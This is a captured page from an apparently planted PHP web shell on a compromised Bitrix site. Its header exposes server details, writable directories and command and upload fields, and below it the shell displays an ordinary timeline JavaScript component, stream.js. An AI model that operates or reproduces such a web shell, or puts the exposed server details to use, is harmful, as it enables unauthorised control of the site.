%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.137.117
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/timeline/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/timeline/src/stream.js
import {Loc, Dom, Text, Event, Tag, Type, Reflection, Runtime} from 'main.core';
import {EventEmitter, BaseEvent} from 'main.core.events';
import {Loader} from 'main.loader';
import {Item} from './item';
import {History} from './history';
import {StageChange} from './stagechange';
import {FieldsChange} from './fieldschange';
import {Editor} from './editor';
import {Comment} from './comment';
import {Drop} from './animation/drop';
import {Pin} from './animation/pin';
import {Show} from './animation/show';
import {TaskComplete} from './animation/taskcomplete';
import {Hide} from './animation/hide';
import {Queue} from './animation/queue';

import 'main.date';

/**
 * @mixes EventEmitter
 * @memberOf BX.UI.Timeline
 */
export class Stream
{
	constructor(params: {
		items: ?Array,
		users: ?Object,
		nameFormat: ?string,
		pageSize: ?number,
		tasks: ?Array,
		editors: ?Array,
		itemClasses: ?Array,
	})
	{
		this.users = new Map();
		this.eventIds = new Set();
		this.pinnedItems = [];
		this.tasks = [];
		this.items = [];
		this.editors = new Map();
		this.layout = {};
		this.dateSeparators = new Map();
		this.nameFormat = params.nameFormat;
		EventEmitter.makeObservable(this, 'BX.UI.Timeline.Stream');
		this.initItemClasses(params.itemClasses);
		this.currentPage = 1;
		if(Type.isPlainObject(params))
		{
			if(Type.isNumber(params.pageSize))
			{
				this.pageSize = params.pageSize;
			}
			if(!this.pageSize || this.pageSize <= 0)
			{
				this.pageSize = 20;
			}
			this.addUsers(params.users);
			if(Type.isArray(params.items))
			{
				params.items.forEach((data) => {
					const item = this.createItem(data);
					if(item)
					{
						this.addItem(item);
					}
				});
			}
			if(Type.isArray(params.tasks))
			{
				this.initTasks(params.tasks);
			}
			if(Type.isArray(params.editors))
			{
				params.editors.forEach((editor: Editor) => {
					if(editor instanceof Editor)
					{
						this.editors.set(editor.getId(), editor);
					}
				})
			}
		}
		this.bindEvents();

		this.progress = false;

		this.emit('onAfterInit', {
			stream: this,
		});
	}

	initTasks(tasks: Array)
	{
		this.tasks = [];
		tasks.forEach((data) => {
			const task = this.createItem(data);
			if(task)
			{
				this.tasks.push(task);
			}
		});
	}

	bindEvents()
	{
		this.onScrollHandler = Runtime.throttle(this.onScroll.bind(this), 100).bind(this);
		Event.ready(() => {
			if(this.getItems().length >= this.pageSize)
			{
				this.enableLoadOnScroll();
			}
		});
		Array.from(this.editors.values()).forEach((editor: Editor) => {
			editor.subscribe('error', (event: BaseEvent) => {
				this.onError(event.getData());
			});
		});
	}

	initItemClasses(itemClasses: ?Array)
	{
		if(itemClasses)
		{
			this.itemClasses = new Map(itemClasses);
		}
		else
		{
			this.itemClasses = new Map();
		}
		this.itemClasses.set('item_create', History);
		this.itemClasses.set('stage_change', StageChange);
		this.itemClasses.set('fields_change', FieldsChange);
		this.itemClasses.set('comment', Comment);
	}

	createItem(data: {}, itemClassName: ?Function): ?Item
	{
		if(!Type.isPlainObject(data.events))
		{
			data.events = {};
		}
		data.eventIds = this.eventIds;
		data.events.onPinClick = this.onItemPinClick.bind(this);
		data.events.onDelete = this.onItemDelete.bind(this);
		data.events.onError = this.onError.bind(this);
		if(!Type.isFunction(itemClassName))
		{
			itemClassName = this.getItemClassName(data);
		}
		const item = new itemClassName(data);
		if(item instanceof Item)
		{
			return item
				.setUserData(this.users)
				.setTimeFormat(this.getTimeFormat())
				.setNameFormat(this.nameFormat);
		}

		return null;
	}

	addItem(item: Item): Stream
	{
		if(item instanceof Item)
		{
			this.items.push(item);
			if(item.isFixed)
			{
				this.pinnedItems.push(this.getPinnedItemFromItem(item));
			}
		}

		return this;
	}

	/**
	 * @protected
	 */
	static getItemFromArray(items: Array, id: string|number): ?Item
	{
		let result = null;
		let key = 0;
		while(true)
		{
			if(!items[key])
			{
				break;
			}
			const item = items[key];
			if(item.getId() === id)
			{
				result = item;
				break;
			}
			key++;
		}

		return result;
	}

	static getItemIndexFromArray(items: Array, id: string|number): ?number
	{
		let result = null;
		let key = 0;
		while(true)
		{
			if(!items[key])
			{
				break;
			}
			const item = items[key];
			if(item.getId() === id)
			{
				result = key;
				break;
			}
			key++;
		}

		return result;
	}

	getItems(): Array
	{
		return this.items;
	}

	getItem(id: string|number): ?Item
	{
		return Stream.getItemFromArray(this.getItems(), id);
	}

	getPinnedItems(): Array
	{
		return this.pinnedItems;
	}

	getPinnedItem(id: string|number): ?Item
	{
		return Stream.getItemFromArray(this.getPinnedItems(), id);
	}

	getTasks(): Array
	{
		return this.tasks;
	}

	getTask(id: string|number): ?Item
	{
		return Stream.getItemFromArray(this.getTasks(), id);
	}

	render(): Element
	{
		if(!this.layout.container)
		{
			this.layout.container = Tag.render`<div class="ui-item-detail-stream-container"></div>`;
		}

		if(this.editors.size > 0)
		{
			this.renderEditors();
		}

		if(!this.layout.content)
		{
			this.layout.content = Tag.render`<div class="ui-item-detail-stream-content"></div>`;
			this.layout.container.appendChild(this.layout.content);
		}

		if(!this.layout.pinnedItemsContainer)
		{
			this.layout.pinnedItemsContainer = Tag.render`<div class="ui-item-detail-stream-container-list ui-item-detail-stream-container-list-fixed"></div>`;
			this.layout.content.appendChild(this.layout.pinnedItemsContainer);
		}

		this.renderPinnedItems();

		if(!this.layout.tasksContainer)
		{
			this.layout.tasksContainer = Tag.render`<div class="ui-item-detail-stream-container-list"></div>`;
			this.layout.content.appendChild(this.layout.tasksContainer);
		}

		this.renderTasks();

		if(!this.layout.itemsContainer)
		{
			this.layout.itemsContainer = Tag.render`<div class="ui-item-detail-stream-container-list"></div>`;
			this.layout.content.appendChild(this.layout.itemsContainer);
		}

		this.renderItems();

		this.emit('onAfterRender');

		return this.layout.container;
	}

	getContainer(): ?Element
	{
		return this.layout.container
	}

	renderEditors()
	{
		if(!this.layout.container)
		{
			return;
		}
		if(!this.layout.editors)
		{
			this.layout.editorsTitle = Tag.render`<div class="ui-item-detail-stream-section-new-header"></div>`;
			this.layout.editorsContent = Tag.render`<div class="ui-item-detail-stream-section-new-detail"></div>`;
			this.layout.editors = Tag.render`<div class="ui-item-detail-stream-section ui-item-detail-stream-section-new">
				<div class="ui-item-detail-stream-section-icon"></div>
				<div class="ui-item-detail-stream-section-content">
					${this.layout.editorsTitle}
				</div>
				${this.layout.editorsContent}
			</div>`;

			let isTitleActive = true;
			Array.from(this.editors.values()).forEach((editor: Editor) => {
				this.layout.editorsTitle.appendChild(Tag.render`<a class="ui-item-detail-stream-section-new-action ${isTitleActive ? 'ui-item-detail-stream-section-new-action-active' : ''}">${editor.getTitle()}</a>`);
				this.layout.editorsContent.appendChild(editor.render());
				isTitleActive = false;
			});

			this.layout.container.appendChild(this.layout.editors);
		}
	}

	renderPinnedItems()
	{
		Dom.clean(this.layout.pinnedItemsContainer);
		this.createFixedAnchor();

		this.getPinnedItems().forEach((pinnedItem: Item) => {
			if(!pinnedItem.isRendered())
			{
				pinnedItem.render();
			}
			Dom.append(pinnedItem.getContainer(), this.layout.pinnedItemsContainer);
		});
	}

	createFixedAnchor()
	{
		this.fixedAnchor = Tag.render`<div class="ui-item-detail-stream-section-fixed-anchor"></div>`;
		Dom.prepend(this.fixedAnchor, this.layout.pinnedItemsContainer);
	}

	updateTasks(tasks: Array)
	{
		if(!this.tasks)
		{
			this.tasks = [];
		}
		const newTasks = [];
		tasks.forEach((data) => {
			const task = this.createItem(data);
			if(task)
			{
				newTasks.push(task);
				this.addUsers(data.users);
			}
		});
		const deleteTasks = [];
		this.tasks.forEach((task: Item) => {
			if(!Stream.getItemFromArray(newTasks, task.getId()))
			{
				deleteTasks.push(task);
			}
		});
		deleteTasks.forEach((task) => {
			this.deleteItem(task);
		});
		let tasksTitle = this.getTasksTitle();
		if(newTasks.length > 0)
		{
			if(!tasksTitle)
			{
				tasksTitle = this.renderTasksTitle();
				this.layout.tasksContainer.appendChild(tasksTitle);
			}
			newTasks.forEach((task: Item) => {
				if(!this.getTask(task.getId()))
				{
					this.tasks.push(task);
					Queue.add(new Show({
						item: task,
						container: this.layout.tasksContainer,
						insertAfter: tasksTitle,
					}));
				}
				else
				{
					const streamTask = this.getTask(task.getId());
					streamTask.setUserData(this.users);
					streamTask.update(task.getDataForUpdate());
				}
			});
		}
		else
		{
			const title = this.getTasksTitle();
			if(title)
			{
				Dom.remove(title);
				this.layout.tasksTitle = null;
			}
		}
		Queue.run();
	}

	renderTasks()
	{
		if(this.getTasks().length > 0)
		{
			this.layout.tasksContainer.appendChild(this.renderTasksTitle());
			this.getTasks().forEach((task: Item) => {
				if(!task.isRendered())
				{
					Dom.append(task.render(), this.layout.tasksContainer);
				}
			});
		}
		else
		{
			const title = this.getTasksTitle();
			if(title)
			{
				title.parentElement.removeChild(title);
			}
		}
	}

	getTasksTitle(): ?Element
	{
		return this.layout.tasksTitle;
	}

	renderTasksTitle(): Element
	{
		if(!this.layout.tasksTitle)
		{
			this.layout.tasksTitle = Tag.render`<div class="ui-item-detail-stream-section ui-item-detail-stream-section-planned-label">
				<div class="ui-item-detail-stream-section-content">
					<div class="ui-item-detail-stream-planned-text">${Loc.getMessage('UI_TIMELINE_TASKS_TITLE')}</div>
				</div>
			</div>`;
		}

		return this.layout.tasksTitle;
	}

	renderItems()
	{
		const lastItem = this.items[this.items.length - 1];
		this.items.forEach((item: Item) => {
			item.setIsLast((item === lastItem));
			if(!item.isRendered())
			{
				const day = this.constructor.getDayFromDate(item.getCreatedTime());
				if(!this.getDateSeparator(day))
				{
					const dateSeparator = this.createDateSeparator(day);
					Dom.append(dateSeparator, this.layout.itemsContainer);
				}
				Dom.append(item.render(), this.layout.itemsContainer);
			}
		});
	}

	getDateSeparator(day: string): ?Element
	{
		return this.dateSeparators.get(day);
	}

	createDateSeparator(day: string): Element
	{
		const separator = this.renderDateSeparator(day);
		this.dateSeparators.set(day, separator);

		return separator;
	}

	static getDayFromDate(date: Date): ?string
	{
		if(date instanceof Date)
		{
			if(Stream.isToday(date))
			{
				return BX.date.format('today');
			}

			return BX.date.format('d F Y', date);
		}

		return null;
	}

	static isToday(date: Date): boolean
	{
		return (BX.date.format('d F Y', date) === BX.date.format('d F Y'));
	}

	renderDateSeparator(day: string): Element
	{
		return Tag.render`<div class="ui-item-detail-stream-section ui-item-detail-stream-section-history-label">
			<div class="ui-item-detail-stream-section-content">
				<div class="ui-item-detail-stream-history-text">${day}</div>
			</div>
		</div>`;
	}

	getItemClassName(data: {
		action: ?string,
		itemClassName: ?string
	}): ?Function
	{
		let itemClassName = null;
		if(Type.isPlainObject(data) && Type.isString(data.itemClassName))
		{
			itemClassName = data.itemClassName;
		}

		if(itemClassName)
		{
			itemClassName = Reflection.getClass(itemClassName);
		}
		if(!Type.isFunction(itemClassName))
		{
			if(Type.isPlainObject(data) && Type.isString(data.action))
			{
				itemClassName = this.itemClasses.get(data.action);
			}
			if(!itemClassName)
			{
				itemClassName = History;
			}
		}

		return itemClassName;
	}

	insertItem(item: Item): this
	{
		if(!(item instanceof Item))
		{
			return this;
		}

		if(this.getItem(item.getId()))
		{
			return this;
		}

		this.items.unshift(item);
		const day = this.constructor.getDayFromDate(item.getCreatedTime());
		if(!day)
		{
			return this;
		}
		if(!this.getDateSeparator(day))
		{
			const separator = this.createDateSeparator(day);
			Dom.prepend(separator, this.layout.itemsContainer);
		}

		Queue.add(new Drop({
			item,
			insertAfter: this.getDateSeparator(day),
			container: this.layout.editorsContent,
		})).run();

		return this;
	}

	getTimeFormat(): string
	{
		if(!this.timeFormat)
		{
			const datetimeFormat = Loc.getMessage("FORMAT_DATETIME").replace(/:SS/, "");
			const dateFormat = Loc.getMessage("FORMAT_DATE");
			this.timeFormat = BX.date.convertBitrixFormat(datetimeFormat.trim().replace(dateFormat, ""));
		}

		return this.timeFormat;
	}

	getDateTimeFormat(): string
	{
		if(!this.dateTimeFormat)
		{
			const datetimeFormat = Loc.getMessage("FORMAT_DATETIME").replace(/:SS/, "");
			this.dateTimeFormat = BX.date.convertBitrixFormat(datetimeFormat);
		}

		return this.dateTimeFormat;
	}

	startProgress()
	{
		this.progress = true;
		if(!this.getLoader().isShown())
		{
			const lastItem = this.items[this.items.length - 1];
			if(lastItem && lastItem.isRendered())
			{
				this.getLoader().show(lastItem.getContainer());
			}
			else
			{
				this.getLoader().show(this.layout.container);
			}
		}
	}

	stopProgress()
	{
		this.progress = false;
		this.getLoader().hide();
	}

	isProgress()
	{
		return (this.progress === true);
	}

	getLoader()
	{
		if(!this.loader)
		{
			this.loader = new Loader({size: 150});
		}

		return this.loader;
	}

	enableLoadOnScroll()
	{
		Event.bind(window, 'scroll', this.onScrollHandler);
	}

	disableLoadOnScroll()
	{
		Event.unbind(window, 'scroll', this.onScrollHandler);
	}

	onScroll()
	{
		if(this.isProgress())
		{
			return;
		}
		const lastItem = this.items[this.items.length - 1];
		if(!lastItem)
		{
			this.disableLoadOnScroll();
			return;
		}
		if(!lastItem.isRendered())
		{
			return;
		}
		const pos = lastItem.getContainer().getBoundingClientRect();
		if(pos.top <= document.documentElement.clientHeight)
		{
			this.emit('onScrollToTheBottom');
		}
	}

	getPinnedItemFromItem(item: Item): Item
	{
		const pinnedItem = Runtime.clone(item);
		if(item.isRendered())
		{
			pinnedItem.clearLayout();
		}
		pinnedItem.setTimeFormat(this.getDateTimeFormat());
		pinnedItem.isPinned = true;

		return pinnedItem;
	}

	onItemPinClick(item: Item)
	{
		if(item.isFixed)
		{
			this.pinItem(item);
		}
		else
		{
			this.unPinItem(item);
		}
		this.emit('onPinClick', {item});
	}

	pinItem(item: Item): Stream
	{
		const pinnedItem = this.getPinnedItem(item.getId());
		if(!pinnedItem)
		{
			this.getPinnedItems().push(this.getPinnedItemFromItem(item));
		}

		Queue.add(new Pin({
			item: this.getPinnedItem(item.getId()),
			anchor: this.fixedAnchor,
			startPosition: Dom.getPosition(item.getContainer()),
		})).run();

		return this;
	}

	unPinItem(item: Item): Stream
	{
		const pinnedItem = this.getPinnedItem(item.getId());
		if(pinnedItem === item)
		{
			const commonItem = this.getItem(pinnedItem.getId());
			if(commonItem)
			{
				commonItem.isFixed = false;
				commonItem.renderPin();
			}
		}
		if(pinnedItem && pinnedItem.isRendered())
		{
			Queue.add(new Hide({
				node: pinnedItem.getContainer(),
			})).run();
		}
		this.pinnedItems = this.pinnedItems.filter(filteredItem => filteredItem.getId() !== item.getId());
	}

	onItemDelete(item: Item)
	{
		this.deleteItem(item);
	}

	deleteItem(item: Item)
	{
		let itemIndex = Stream.getItemIndexFromArray(this.items, item.getId());
		const animations = [];
		if(itemIndex !== null)
		{
			if(item.isRendered())
			{
				const animation = new Hide({
					node: this.getItem(item.getId()).getContainer(),
				});
				animations.push(animation);
			}
			this.items.splice(itemIndex, 1);
		}
		itemIndex = Stream.getItemIndexFromArray(this.pinnedItems, item.getId());
		if(itemIndex !== null)
		{
			if(item.isRendered())
			{
				const animation = new Hide({
					node: this.getPinnedItem(item.getId()).getContainer(),
				});
				animations.push(animation);
			}
			this.pinnedItems.splice(itemIndex, 1);
		}
		itemIndex = Stream.getItemIndexFromArray(this.tasks, item.getId());
		if(itemIndex !== null)
		{
			let isAddHideAnimation = true;
			if(item.completedData)
			{
				const newItem = this.createItem(item.completedData);
				if(newItem)
				{
					if(!this.getItem(newItem.getId()))
					{
						this.items.unshift(newItem);
						const day = this.constructor.getDayFromDate(newItem.getCreatedTime());
						if(day)
						{
							if(!this.getDateSeparator(day))
							{
								const separator = this.createDateSeparator(day);
								Dom.prepend(separator, this.layout.itemsContainer);
							}

							Queue.add(new TaskComplete({
								item: newItem,
								task: item,
								insertAfter: this.getDateSeparator(day),
							})).run();

							isAddHideAnimation = false;
						}
					}
				}
			}
			if(isAddHideAnimation)
			{
				animations.push(new Hide({
					node: this.getTask(item.getId()).getContainer(),
				}));
			}
			this.tasks.splice(itemIndex, 1);
		}
		Queue.add(animations).run();
	}

	onError({message})
	{
		this.showError(message);
	}

	showError(message)
	{
		console.error(message);
	}

	addUsers(users: Object)
	{
		if(Type.isPlainObject(users))
		{
			if(!this.users)
			{
				this.users = new Map();
			}
			Object.keys(users).forEach((userId) => {
				userId = Text.toInteger(userId);
				if(userId > 0)
				{
					this.users.set(userId, users[userId]);
				}
			});
		}
	}

	addAnimation(animation: Animation)
	{
		Queue.add(animation).run();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit